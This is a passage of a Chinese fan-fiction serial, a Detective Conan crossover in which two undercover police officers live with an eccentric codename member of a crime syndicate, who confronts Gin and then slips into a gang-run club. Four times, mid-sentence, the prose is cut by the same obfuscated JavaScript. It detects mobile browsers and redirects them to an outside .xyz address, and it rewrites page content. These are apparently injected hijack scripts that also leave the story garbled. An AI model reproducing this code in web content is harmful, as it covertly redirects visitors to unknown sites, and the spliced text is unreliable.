眼前黑发的少年对着他眯起眼扬起一个笑容。 诸伏景光一时不知道做出什么反应。 “在下,绿川光,请多指教。” “你想喝柠檬汁吗?” “……?” 11. 三文鱼狂魔 现在的情况是。 千鸟奏带着安室透,还有刚刚才加入他们的绿川光,一起坐在了那家日料店里。 对,就是前一天他们去过的那家。 至于原因——跟千鸟奏空空荡荡的厨房和只有柠檬汁的冰箱说去吧! 千鸟奏端起店员刚刚端上来的茶水,不紧不慢地抿了一口。然后他抬头,对着绿川光偏头笑了笑。 “绿川君,随意就好,这顿我请哦。” 说罢,他伸手接来了身旁店员刚刚递上来的菜单,快速地在上面勾画了几下,又把那本菜单合上,轻轻地从他那头推向了安室透和绿川光坐着的那头。 安室透率先接过那本菜单,径直跳过菜单最前面的几页,翻到最后,熟练地选上了自己要吃的菜品,然后将菜单递向了绿川光的方向。 为什么总觉得zero递过来菜单的时候看他的眼神透着一丝诡异的复杂? 难道这点菜环节另有乾坤?! ——试探?考验? 诸伏景光神色一肃,认真地翻开手中的菜单,尤其认真地打量了一下山崎威士忌勾选过,而zero看都没看过的菜单前几页。 三文鱼刺身,三文鱼手握,三文鱼军舰,三文鱼波奇饭…… 三文鱼,三文鱼,三文鱼和三文鱼? 满满当当的三文鱼?!什么意思?! 诸伏景光默不作声地将画得满满当当的几页菜单翻了又翻。 “绿川君也喜欢三文鱼吗?” 身旁zero的声音响起,诸伏景光跟着声音看过去,正想斟酌着说点什么,就听见另一道声音响起—— “真的吗?”对面黑发少年的一双眼睛噌的一下亮起,然后迅速朝着走廊的方向招招手,“服务员!这里请再给我们一份菜单。” 少年亮晶晶的黑眸看向他。 “太有品味了绿川君,从今天起你就是我的知己!我们简直是高山流水惺惺相惜志趣相投!来,我的菜单分你一份!这里的每种三文鱼菜品都给你尝一遍!” 说着,他开始低下头给新送来的菜单认真地打勾。 “每种都应该尝一遍,下次就可以找到你最喜欢的,对吧?” 那双亮晶晶的黑眸的视线又落回他身上。诸伏景光只得有些麻木地点了点头。趁千鸟奏低头认真摆弄菜单的空隙,他把视线默默投向一旁端起一杯茶水装模作样开始品尝的降谷零身上。 天地良心。降谷零本来只是想提醒他前面都是千鸟奏点的菜而已的。 诸伏景光收回自己默默的视线。 原来是这个意思吗。 所以就只是单纯地点了这么多三文鱼而已吗。 ……哪里来的三文鱼狂魔?! 他可能接下来两个月之内都不想再看见三文鱼了。诸伏景光看着端上来满满一大桌的三文鱼和对面山崎威士忌期盼的眼神,艰难地一盘一盘挨个试过去。 三文鱼,三文鱼,三文鱼……(吐血) 等到三人凌乱地解决完早午饭,安室透提出要和绿川光一起去采购一些必备的生活用品。 的确,毕竟他刚刚搬进来,千鸟奏空空荡荡的家显然还不太适合任何人生存。再说等到过段时间琴酒终于有意放人给他的时候,绿川光十有八九也要搬过来。 所以千鸟奏甚至都没多犹豫两秒,只是歪着脑袋想了想就摆摆手让安室透带上绿川光出去采购去了,他自己则是转身潇洒地打车回了他“空空荡荡”的家。 至于为什么打车——因为打车很贵,他已经发现手上那张由朗姆交给安室透转交给他的那张银行卡其实就是一张朗姆的副卡。 朗姆的钱,不花白不花。过几天他就拿着这张卡去买一栋别墅然后带着安室透他们美美入住——再把琴酒那里他那个还没搬空的超大衣柜也搬过去。 让那个朗姆跟他玩些文字游戏。 朗姆虽说明面上说着给他放假,但毕竟安室透和接下来绿川光的任务都还要交给他经手。只是不用他那么频繁地单独出任务而已,组织什么时候能停止对员工的压榨——好不容易摆脱了琴酒,他真的很想摸鱼。TvT 所以现在千鸟奏正整个人陷进沙发里,一边翻着他们两人的资料一边咂舌。 一个自己接了情报组大把的任务,一个被琴酒一口气派了成堆成堆的任务。 如果所有任务都要他到场监督——那和之前24小时不停工作有什么区别! 透君看起来太有工作积极性,他一来没有权限去管情报组的事,再加上安室透其实该算是朗姆的人,鉴于他在组织里其实有些尴尬的身份和他跟朗姆的一些微妙的关系,千鸟奏直觉自己最好还是少插手安室透的事。二来他这两年对这种工作积极性太高的成员总抱有一种隐秘的敬畏之心。毕竟他从前也是‘没有感情的工作机器’出身,还不小心在组织里留下过一些奇妙的流言。后来就算那位先生想要压下所有跟千鸟奏有关的情报,这些乱七八糟的流言也还是顽强地默默在组织中流传着。 想起两年前那些人给他起的外号和编的那些夸张的故事,千鸟奏忍不住闭了闭眼。 什么叫组织最锋利的一把刀?!他那时候明明是—— 是不是全世界的黑/手/党都喜欢编些这种过分浮夸的故事?! 千鸟奏三思片刻还是决定先不插手安室透的任务安排,睁一只眼闭一只眼地让他先把手头的任务处理完,等到他正式成为下一瓶威士忌再教教他怎么适当地摸鱼也不迟。 至于那个绿川光——琴酒显然是还不想放人给他。他烦躁地翻了翻手里厚厚一沓的资料,除了前两页是那个绿川光的一些基本信息以外,后面厚厚的一叠全是琴酒拨过来的任务。他随意换算了一下,觉得琴酒拨给绿川光的任务强度实在夸张,感觉已经快要赶上他当年了。 琴酒还是那样不给人留活路的工作狂。 这怎么行。千鸟奏歪歪头,就算琴酒还不舍得放人,这个绿川光十有八九也迟早是他的人。贝尔摩德教过他的,对自己人要护短。 千鸟奏拍拍手里厚厚的资料,站起身来,决定即刻启程去找琴酒。 ——他要去为他和绿川光接下来的幸福生活努力一把了。 跟琴酒讨(大)价(打)还(出)价(手)。 他要做一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950141|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人情味的上司。 虽然目前还是准上司。 但是一定不会准太久的! 想了想,他还是拿出手机给安室透发了两条简讯。 【透君,我出门了。门框右边从下往上数第六块砖那里,你敲一敲就有机关会弹出来的,钥匙我留在那里了。 你和绿川君随意就好TwT,不用等我。】 消息转了两下显示发出,不过还没有变成未读,大概还跟绿川光在路上吧。千鸟奏敲敲手机的电子屏,又给琴酒发去一条简讯。 【有事,来接。】 没有让他等待太久,熟悉的黑色保时捷就开到了门口。千鸟奏熟练地拉开保时捷后座的车门上车,对着驾驶位上在车内还坚持戴着墨镜的伏特加点点头,黑色的保时捷很快启动,向着城市的另一端疾驰。 - 降谷零没想到自己想要带诸伏景光出去独处的理由这么轻易就被同意了。他为此默默在心里打了一中午的腹稿甚至都没派上用场。 组织里一向有不成文的规定,组织内除了代号成员活动不受限制,非同一个行动组的成员之间不允许有私交。类似他们现在这样,一个是朗姆手下情报组的成员,一个是琴酒手下行动组的成员,彼此之间如果严格按照组织的规定来说的话,他们连单独共处一室都是不被允许的。他不是没见过代号成员以触犯这项规定为由刁难手下的底层成员,另一部分代号成员为了预防种种情况,即使不因为这种事刁难手下的底层成员,也不会轻易批准这样的情况发生。 他本来不太抱希望的一次提议,没想到千鸟奏就这么随口答应了。 提出这件事既是他觉得有必要跟hiro紧急互通一下情报,也是他对千鸟奏的新一轮试探。 看来山崎威士忌的确是一个比较“特殊”的代号成员,连这项规定都不放在眼中。 目前来看山崎威士忌对他们的确没什么恶意。除了他本人有些跳脱和诡异…… 想到这里,他看着黑发少年逐渐远去的背影,转头对身边同样显得有些诧异的诸伏景光对视一眼,两人默契地一同钻进了降谷零的白色马自达里。 碍于那项组织不成文的规定,自从诸伏景光加入琴酒手下的行动组以后,他们两人就再没机会私下碰过头了。眼下最安全最适合他们秘密通话的地方就是降谷零的车里了。 当然东西还是要买的,不然回去了没法交差,降谷零一边扭动着车钥匙准备开车,一边斟酌着开口。 “我这两个月……” “关于这个山崎威士忌……” 两道声音同时响起,两道视线也同一时间在内后视镜的镜子里相碰在一起。然后那双蓝色的,眼尾微微上挑的眼睛率先弯了弯,示意降谷零先说他要说的情报。 两人从紧绷的状态里一下子缓和出来,都微微放松了一些,沉默片刻,降谷零的声音才重新在车内响起。 交换情报。不论是近两个月他们各自收集的情报,还是他们接下来要共同面对的这个代号成员山崎威士忌的情报,都是很有必要的。 白色的马自达从车库开出,往大道上疾驰而去。 12. 咖喱蛋包饭 组织的酒吧还是一如既往的聚满了人。 虽说现在是下午,离对外营业的夜场时间还早,酒吧的一楼仍然坐满了正在聊天休息的人。这个点会坐在这里悠闲谈天的基本上都是连组织最外层成员都算不上的清道夫、雇佣打手之类的流动人员,只收钱办事,其他的一概不问。只要接触不到组织内部的信息,组织里一向没人有这个闲心去管理约束他们,反而还为他们提供一些简陋的住宿和休息场地,好方便时刻有人力可调动。 最纯粹的金钱交易往往是最可靠的。组织的高层时刻谨记这一点。 所以就算这时人高马大穿着黑西装戴墨镜的伏特加领着看上去年岁尚小的千鸟奏从他们身边走过,他们也只是有人微微抬眼打量了他们几眼。这些零星打量的目光更是在他们走向二楼楼梯转角的暗门处时默契地全部收回。 对那个组织的任何事,不看不听不问,这是他们共同默认的生存法则。 “砰。” 刚走进暗门的千鸟奏熟练地偏头躲过琴酒的子弹。 “是不是见面不先给我一枪你就不会说话了?” 千鸟奏不紧不慢地走到灯光昏暗的吧台前,腿上微微发力,右手一撑台面,坐上了琴酒面前的那一块吧台上。 吧台后的调酒师头也没抬继续凿着手里的冰球。 “咔哒。” 又是一阵器械相撞的声音。千鸟奏的匕首和琴酒的□□又各自架上了彼此的要害。 “啊啦啊啦,”一道女声从吧台边缘的暗处传来。“好久不见啊,小奏。” 任由□□的枪管贴在自己的胸口,千鸟奏收起手中的短匕,转头看向女声传来的方向,伸出一根食指点点指着自己的枪管,歪头对着一步步走来的女人扬起一个无害的笑。 “姐——琴酒又欺负我——” 刚好走到吧台边的贝尔摩德就近坐下,对着还坐在吧台上的少年勾勾手指,“乖,下来到我这里来。” 黑发少年于是轻轻推开□□的枪管,从吧台上跳下来,三两下跑到离贝尔摩德最近的座位坐下,双手抱臂叠放,把脸埋进叠起来的手臂里,在贝尔摩德手边趴下。 贝尔摩德伸出一只手放在少年一头黑发上。 贝尔摩德:揉揉揉(─▽─) “来找我干什么。”琴酒不紧不慢地收起□□,见怪不怪地端起调酒师刚递来的酒喝了一口。 闻言千鸟奏微微抬起一点头,露出黑沉沉的双眼。 “你故意的?你知道我在说什么。”也许是下半张脸还埋在臂弯里的缘故,千鸟奏的声音听起来有些闷闷的。 琴酒嗤笑一声,微微向他们的方向转过脸来,露出一只绿色的眼睛瞟了瞟千鸟奏。 “你是拍拍屁股休假去了,行动组缺人做任务怎么办。” “那我不就只能交给刚来的新人。” 贝尔摩德手上的动作很恰到好处地停下了,于是千鸟奏抬起头来,视线凌厉地向着琴酒看去。 “两个月34个任务?难怪你火急火燎地要绿川光马上来我这里报道——把我当傻子吗,这是你整个行动组剩下的所有任务吧。” “催债、监视、安保,除了这些——横滨那边的任务你也敢派过来?” 千鸟奏曲起手指,用手指关节敲敲吧台台面。 “说吧。朗姆到底什么意思。” 琴酒点燃一根烟。 “马上就要两年了,山崎威士忌。” “我手上还有一个不错的新人。” “等他过了我这里的考验——你,安室透,绿川光还有他。” “准备好去横滨吧。” 横滨。千鸟奏眼神暗了暗。 那位怕是老糊涂了。是嫌两年前折在横滨的组织成员太少吗,那群怪物的地盘还敢回去,还肖想从港口黑/手/党手里分一杯羹吗? 他难得地沉默了片刻,起身跟一旁的贝尔摩德拥抱了片刻以示再见,转身向暗门外走去。 “帮我转告那两位,我的底线不会变。” “我早就说过,牵扯到横滨那边任何一个组织利益的事我都不会干。” 路过琴酒身旁时,千鸟奏停下片刻对他丢下两句话。 “还肖想和港口黑/手/党对着干的话,这次就算是我也不会再去帮你们收拾烂摊子。” “除非你们打算动用到那一步。”他轻轻在自己脖子前比划了一个“杀掉”的手势。 “后果自负。” 他这样说着,走到暗门门口,背对着琴酒的背影挥挥手。 ——暗门在千鸟奏面前打开,楼下酒吧已经到了营业的点,清道夫和零散打手早就散去,一楼坐得满满当当的是各个准备开始夜间行动的代号成员以及他们手下的小组。 门开的一瞬间整个大厅静了静,无数道视线向着他交汇而来,看清他的面容后又很快各自低下头去沉默不语。 “伏特加。” “大哥,我在。” “送他回去。” “是!” 暗门里琴酒的声音传来,然后伏特加的身影也跟着急急忙忙地闪出暗门。 “啊啦啊啦……” 暗门彻底在伏特加身后关上,连着接下来贝尔摩德的话语也一同消失在门后。 千鸟奏的手机振了振,一封新的邮件很快跟着弹出来 【From:朗姆 琴酒选出最后一个人选前,龙樱会那边的任务交给你和你的两个新手下了。 他们原本的任务我会收回来让其他人做,我已经通知他们两个了。 横滨那边的事下次你从实验室回来boss会亲自和你谈。】 【From:朗姆 龙樱会的资料我稍后直接传给你。】 “……” 【透君~我要回来了!晚饭吃什么TwT】 沉默了片刻,千鸟奏直接忽略了朗姆的邮件,“哒哒哒”地敲起键盘给安室透发起简讯。 上一条简讯透君早就回过他一个笑脸,不过他还一直没时间读他的回复。 ——对话框里安室透那边很快显示为了“已读”。 【我们收拾完了家里,绿川君做了咖喱蛋包饭:D】 千鸟奏的眼睛亮了亮。 好厉害啊绿川君! - “……所以,这就是我最近观察到的,关于那个山崎威士忌。” “不管怎样,他的确是组织的代号成员,并且级别不低。Hiro……” 白色马自达内,降谷零刚尽量简洁明了地交代完有关千鸟奏的情报停下车,打算将今天他们的情报交流收尾,一阵手机简讯提示音就跟着响起。 诸伏景光皱皱眉,比了一个噤声的手势。 “嗡嗡。”还是刚刚的简讯提示音。 降谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950142|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零停好车,伸手从口袋里拿出自己的手机。 【From:山崎威士忌 透君,我出门了。门框右边从下往上数第六块砖那里,你敲一敲就有机关会弹出来的,钥匙我留在那里了。 你和绿川君随意就好TwT,不用等我。】 “……” “会不会对我们太放心了一点?” 诸伏景光略带有一点疑惑的声音响起。 “总之,”降谷零敲了敲亮起的手机屏幕,灰紫色的眼睛严肃地看向自己容易心软的幼驯染,“记住,hiro,这可是十恶不赦的组织成员——我们一定不能掉以轻心啊!” 诸伏景光失笑地看着他,“我是那种拎不清的人吗?” “我会记住的,zero。” 降谷零干脆地拔下车钥匙,气势汹汹地拉开车门下车。 “走,我们要买锅碗瓢盆柴米油盐酱醋茶——” 刚拉开车门走下车的诸伏景光听到这话又忍不住微微眯起蓝色的眼睛偷偷笑起来。 Zero这个家伙,这时候到底在燃什么。 “我昨天还遇上了hagi和马自达。” “他们两个家伙还好好的。……在警局我本想阻止他们要山崎威士忌的电话,但看他们当时那个架势,我还是帮他们拦了拦山崎威士忌……” “他们似乎早就跟他有过接触……我顺势把我现在的联系方式也跟他们交换了……” “……我给hagi发过简讯警告他们暂时离这个‘山崎奏’远一点,他们看得懂我的意思,短时间内都不会尝试跟他有接触。” “我会想办法跟他们见一面,我还有问题要问他们……关于那个‘救命恩人’这件事。” “我绝不会让他们卷进来。” 诸伏景光想起降谷零在车上说的话,研二和阵平那两个家伙过得好就好。 他想起自己斟酌半天结果没来得及告诉降谷零的事——琴酒给他一口气甩了三十几个任务,其中还有横滨那边的任务,眼神又暗了暗。 回来的路上再告诉zero吧。 诸伏景光加快脚步跟上了走在前头的降谷零。 - 【From:朗姆 绿川光、安室透,一切原计划活动暂停,随山崎威士忌行动。】 朗姆的邮件发来时,诸伏景光和降谷零正神情凝重地坐在白色马自达里商讨着对策。 ——关于绿川光接下来的任务安排。 两声手机邮件提示音响起,两封来自朗姆的邮件同时到达,两人对视一眼,各自点开邮件,很快又神色各异地抬起头来相互对视一眼。 “滴滴” 降谷零的手机提示音又紧跟着再次响起。 两人将头一同凑到他的手机屏幕前,点开来自山崎威士忌的简讯 【透君~我要回来了!晚饭吃什么TwT】 难道是山崎威士忌的手笔? 降谷零在诸伏景光的注视下一字一句地敲下回复。 “……我什么时候做了咖喱蛋包饭?” “我猜……马上?”降谷零拉开车门下车,走到门口敲了敲暗藏玄机的砖块。 “我们需要更多信息。” “他的动机,他的立场,以及——他的身份。” 降谷零这样说着,打开了门锁 于是诸伏景光也跟着进门。 13. 龙樱会 绿川君的手艺实在惊为天人。 行动组怎么会潜藏着如此大厨。 一碗如此简简单单朴实无华的咖喱蛋包饭,简直好吃得千鸟奏想要流泪。 当然,他不会忘了正事的。 千鸟奏擦擦嘴,感受到安室透和绿川光不着痕迹的几次偷瞄,他还是暂时放弃了提出想再来一碗的想法。 他故作深沉地清了清嗓子。 “朗姆的邮件,你们应该都收到了吧。” “鉴于我的要求,你们接下来原有的任务都要推掉,专心协助我完成龙樱会的任务——” “没有问题的话,”他站起身对安室透和绿川光摆摆手,“关于龙樱会的资料和任务要求我会在明天早上发给你们。” “早点休息补充好精力哦。”他回头对着他们笑笑。 再多说两句就露馅了——朗姆发来的资料乱七八糟,看得他简直两眼一黑。 还说什么,今晚就要出发去龙樱会跟那边正在盯梢的组织成员接头。 只能今晚就偷偷出动打探一下情况了。 必须让两个新下属放心,明天一早就有他带回来的完整资料看,可以好好制定他们的任务计划——才不是因为他根本不会制定计划,只会跟着计划行动。 这样想着,千鸟奏快步走回自己房间关上房门。只留下客厅里安室透和绿川光继续面面相觑。 龙樱会,东京本地一家生产烟花的公司——至少在现在的社长龙崎丈一郎继任前,还是一家完完全全的烟花生产公司,算得上是这个行业的“百年老字号”了。 龙樱会早年的确经历过一次大型的资产危机,在那期间龙崎丈一郎上任,不知到底是采取了什么样的雷霆手段,挽救了几乎已经是必死的公司,如今龙樱会仍然活跃在烟花供应的生产线。 不过这些都是“地上”对龙樱会了解的版本。 龙樱会,近十五年内东京地下世界里崛起的新秀。 十五年前龙樱会的头目龙崎丈一郎据说是靠拐卖儿童妇女等人口交易起家,同时明里暗里干着各种脏活,经营灰产一步步走到今天,俨然是已经成为了东京最大的一颗毒瘤。 这些年无论是地下的□□组织,还是地上的公安警察,都查过这个默默崛起的龙樱会很多次,然而无论是坊间流传的龙崎丈一郎早年经营的人口交易,还是后来龙樱会放到明面上经营的灰产,里里外外都查不出什么所以然来。 朗姆给出的资料含糊其辞,这个龙樱会明面上来看跟组织的确毫无关系。 不过都说了是明面上看起来毫无关系。 龙樱会十年前曾经有过一次险些被公安查获的经历。大概龙崎丈一郎无论再怎么小心谨慎也禁不起公安五年如一日的查证吧,一名公安的警官某天发现龙崎丈一郎名下的龙樱会资产中有一连串的“可疑交易”和一笔超大金额的疑似非法资金的流入,然而就在公安顺着这一连串线索继续深挖下去时,这条线索却直接断了——公安系统在他们的第二次核查中显示报错,紧接着“可疑交易”变成了正常的烟花交易,资金流入记录更是直接消失。 公安的人不是没怀疑过内部混进了卧底,不过查上查下都没有查出什么问题,这件事也就当是悬案搁置在那里。 虽然朗姆的意思是组织和曾经这事毫无关联——近五年组织才开始跟龙樱会有大规模的木仓械交易和灰产交易。不过千鸟奏觉得这种招摇的行动风格实在很像一位故人。 轩尼诗。 千鸟奏一向不喜欢那个官腔官调的家伙。 如果可以的话他的确比较希望能把那个家伙找个机会做掉。 据说那家伙明面上的身份是公安里的高层,曾经组织内斗的时候和朗姆闹得不可开交,朗姆成功上台接任二把手时更是小动作不断。值得一提的是他和前两任山崎威士忌都不太对付,上任山崎威士忌死后更是觊觎取代“威士忌组”的位置,建立一个他自己的—— 白兰地组。 不过这个家伙行事狠厉,野心极大,boss自然不敢放权给他,于是两年前决定把山崎威士忌这个代号交给千鸟奏。 当时轩尼诗可以说是大闹了一场,为了镇压他引起的一系列骚动,组织付出了很大的代价。 虽然这个代价有一半是千鸟奏付的。T^T 当年他的代号考核如此腥风血雨,千鸟奏觉得这个欺上瞒下的轩尼诗要付起码一半责任。 如果说十年前龙樱会就跟轩尼诗开始接触的话,那么现在龙樱会的暴动也就不难解释了。组织里流言威士忌组着手重建,轩尼诗坐不住也是正常。 回到朗姆交给千鸟奏的任务——龙樱会和组织相互合作了差不多五年,涉及的金额已经不是一笔小数字。更重要的是,龙樱会跟组织手下的实验室有稳定的交易。 半年前,龙樱会突然提出要终止跟组织的交易,在组织这边拒绝后,龙樱会三番五次地故意向组织公开挑衅,一周前甚至向朗姆表示他们弄到了一份组织曾经实验室的实验记录,希望以此来威胁组织。 涉及实验室,组织不可能坐以待毙。 无论那份资料真假与否,组织势必不可能让消息走漏出来。 再加上这份任务涉及内容的特殊性,难怪朗姆硬是要把这个任务塞到他手里。 朗姆的要求很简单。 赶在这个消息流出去之前,要么找出龙樱会“暴动”的原因,解决问题,要么——直接从根本上解决制造这个问题的人。就算把整个龙樱会高层连锅端了换他们下一批继承人也可以。 如果真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950143|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟他想的一样跟轩尼诗有关——能不能借这个机会把轩尼诗一起干掉?! 千鸟奏一边收拾装备一边这样做着干掉轩尼诗的梦。 【叮!系统识别到关键人物解锁,支线任务3提前开启,当前任务进度:27/100】 “……?” “你的这个新触发的支线任务到底是什么意思。” 千鸟奏有些茫然地松开了手上绑匕首的动作。 “上次就说是支线任务2……这次直接到3了?” “你真的不觉得你的代码出了什么毛病吗。” 【宿主……这是系统自动播报……我说了其实我也记不清这些任务的编码为什么这么混乱了……】 【不过宿主你放心,自动播报是不会出错的,说不定你早晚能发现里面的规律。】 千鸟奏继续低头往大腿上系着绑带。 “咔哒”木仓套严丝合缝地卡进绑带里。 “001,你不是说我有一百个要改变的死亡节点吗,”他理了理刚刚整理武器弄乱的衣领,“怎么这么久都没有再给我更新下一个啊。” 【那是初次见面我们必须要背诵的说辞。我可是受过培训专业的系统——】 【不过我们的确有后台数据可以查询,按理说每个宿主都应该有不低于一百的节点……】 【您的提问已为您受理,七个工作日内将会为您反馈。】 【?!怎么还要等七个工作日】 懒得继续理会脑子里001的絮絮叨叨,千鸟奏打开窗户翻身从卧室跳出。 为了在透君和绿川君心中树立他可靠的形象 崛起吧!千鸟奏! “……朗姆的意思不是今晚就要去龙樱会接头吗?” “好像是这么说的来着……你听听他是不是关上门自己翻窗走了?” 诸伏景光和降谷零站在千鸟奏门前面面相觑。 【今晚龙樱会名下unhomeBar会所,组织接头人中村海斗。除了山崎威士忌以外,你们的资料我刚刚发给过他。 别让山崎威士忌自己行动。】 朗姆好像跟他们是这样说的。 所以……千鸟奏其实不知道他们也收到了朗姆的任务资料吗? 龙樱会…… 就知道这个龙樱会一定有问题。 两个真·公安警官神色古怪地回忆着朗姆那份实在有些零散但指向性明显的资料,连公安当年查过龙樱会无果的事组织都调查出来了。 不会比公安更早行动铲除这个毒瘤的最后会是组织吧? 降谷零抬手敲敲千鸟奏的房门。 ——无人回应。 他推开房门,风从卧室打开的窗口灌进来。 果然已经走了啊。 14. 海斗?海渡? unhomeBar会所。 千鸟奏蹲在路边低头对着朗姆的邮件核对眼前会所的地址。 会所门口两个穿着西装戴着蓝牙耳机人高马大的保安分开站在门的左右。 这个全副武装戴着黑口罩黑墨镜的少年已经在门口蹲了十来分钟了,这期间一直反反复复举起手机又放下——可疑,实在可疑。 两人默不作声地又相互对视一眼。 ——赶人吗? ——再等一分钟吧…… 突然,那个可疑的少年“噌”地一声站起来。 “没错没错,就是这里。”他快步走上前,径直往会所的大门走去。 “等等。”其中一个保安伸手拦住了他。 “证件。”另一个保安紧跟着开口道。 证件? 千鸟奏下意识地摸了摸身上的口袋。木仓、匕首、袖剑……每种武器都带了一点,应该没有遗漏。 不对。 为什么进一个会所还要出示证件?!龙樱会现在变得这么正规了吗?! 朗姆没有说过要带上证件啊…… 两个保安目不转睛地盯着千鸟奏慢吞吞摸着身上口袋的动作,不由自主地紧张得咽了咽口水。 在龙樱会的会所门口站岗站久了,他们俩什么人没见过。 越是这种看起来诡异的越危险。 看他摸口袋说不定是在掏武器—— 千鸟奏想了想,收回尝试从口袋里凭空摸出证件的手,伸手把墨镜口罩摘下,试图在他们面前刷脸。 我是好人。 千鸟奏努力睁大眼睛,然后对着两人露出一个无害的笑容。 “我是来找海斗(Kaito)先生的。”为了显得可信,千鸟奏特意没有直接说中村海斗的大名,而是选择了一种比较亲近的叫法。 简直完美,千鸟奏简直想对自己满意地点点头。 海渡(Kaito)先生? 是他们想的那个海渡先生吗? 两个保安面面相觑,又看看眼前的少年。 黑发黑眼,的确长得好看。 但是这么小就要来会所干那种事吗。 难道是……给自己赚学费?一定是一个生活有难处的可怜孩子吧! 两个保安大哥的表情几经变幻,最后定格成了一种诡异的慈祥。 ? 为什么这种表情。 千鸟奏觉得有问号要从头顶长出来了。 难道组织这个接头人在这里担任什么很奇怪的职位吗? 不过千鸟奏并没有继续深想下去,反正已经混进了会所,接下来只要跟着他们找到中村海斗,顺利拿到那份资料…… 看着吧安室透、绿川光!完全是可靠的上司! 千鸟奏跟着保安大哥一路绕过大厅,绕过舞池,绕过包间,走到了最里面的化妆间。 ?等等,为什么又走到这里面来了。 千鸟奏茫然地环视了化妆间一圈,难道是这里比较隐蔽吗? 就在他环视化妆间的空挡,带路的保安大哥已经退了出去,走进来的是一个年轻女性。 “哦呀哦呀,”千鸟奏转头跟她对上视线的那一刻,她眼里瞬间泛起光来,三两步走上前,伸出一根手指挑起他的下巴,仔仔细细地把他从上打量到下,“这次总算来了个长得好看的,不用浪费我的化妆品。给那些男的化妆真是让我的化妆品暴殄天物,给我的职业化妆之路蒙羞……” 兴许是看出了少年的疑惑,她笑眯眯地对着他开口。 “不是说你是来找海渡的吗,放轻松亲爱的,这是我们的常规流程,我会先把你打扮得漂漂亮亮去见他的,海渡那家伙现在还在外面接待客人。” 说着,她领着千鸟奏在化妆镜前坐下,不知道从哪里推来一个衣架,开始从衣架上挑选衣服。 “这个不行太老气,这个也不行这个颜色太艳丽,啊呀!这个!这个绝对适合你!” 她从衣架里取下一件衣服,急急忙忙走到化妆镜前,举起衣服让千鸟奏看—— 女……女仆装?! 千鸟奏总算觉得事情好像有点不对起来,刚想站起来张口拒绝,女人伸出一只手捂住他想要说话的嘴,另一只手把他按回座位上,然后顺势把那套衣服挂在了椅背上。 “哦哦哦打住,这很正常亲爱的,每个来这里找海渡那个家伙的人都要经历这个过程,没什么大不了的……” “哦对,差点忘了,我是不是还没自我介绍?”她往千鸟奏眼前探了探身子。 “我叫桥本千春,是个厉害的化妆师哦~”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950144|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 化妆师?是易容师的意思吗?另一种他不知道的叫法吗? 千鸟奏呆呆地听着眼前桥本千春的话,心里暗自吐槽着朗姆。 什么嘛,组织安排的接头人为什么有些这种怪癖?就不能再招一点透君那样的正常人进来吗…… “亲爱的,亲爱的?你还在听吗亲爱的?去把这个换上吧亲爱的……” 桥本千春又一手拎起那套衣服,另一种手拍拍千鸟奏的肩膀。 千鸟奏回过神来思考了两秒。 好吧,一切为了任务,为了安室透和绿川光心中的靠谱形象,忍了! 他伸手接过桥本千春手里的衣服,认命地走向更衣室。 你别说,这衣服穿着比他自己那套藏武器好藏得多。 哦哦,原来中村海斗是这个意思吗,看来是错怪他了。 千鸟奏系紧腿上最后一个枪套,拉开帘子走出更衣室。 “哦哦哦哦哦——” “我就知道,简直太完美了亲爱的。”桥本千春环绕着他走了一圈又一圈。 是吧,我也觉得完美。 千鸟奏动动手腕,感受着袖口里面绑得正正好好的袖剑。 完美的位置,完美的角度,用起来一定非常顺畅。 裙摆下面留出来的位置用来绑枪套也非常完美。感觉他甚至能丢掉这把袖珍伯/莱/塔换一把更大的枪,起码要有琴酒那把伯/莱/塔那么帅…… 这样想着,千鸟奏顺从地听着桥本千春的指示在化妆镜前坐下,任由她在自己头上脸上细细簌簌地捣鼓。 可以的,很专业。 虽然没让贝尔摩德在自己身上实操过,但千鸟奏还是见过她给自己易容的。 他扫视了桌上的化妆品和饰品一眼。 他记得贝尔摩德有时候就会用这些东西。 看来这个中村海斗手下的人还是有两下的(点头) - 桥本千春拿起一对黑玛瑙耳夹夹在黑发少年的耳朵上。 真行啊渡边海渡。 居然真的让你招到这么帅的新人。 